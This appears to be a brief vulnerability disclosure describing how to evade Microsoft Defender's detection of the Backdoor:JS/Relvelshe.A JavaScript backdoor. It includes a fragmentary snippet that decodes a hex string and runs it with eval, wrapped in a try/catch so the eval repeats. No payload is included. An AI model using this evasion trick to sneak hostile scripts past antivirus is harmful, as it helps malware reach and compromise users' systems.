[Vulnerability Type]
Detection Mitigation Bypass
Backdoor:JS/Relvelshe.A


[CVE Reference]
N/A


[Security Issue]
Back in 2022 I released a PoC to bypass the Backdoor:JS/Relvelshe.A
detection in defender but it no longer works as was mitigated.
However, adding a simple javascript try catch error statement and eval the
hex string it executes as of the time of this post.

var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
]]>
}catch(e){
eval(str)
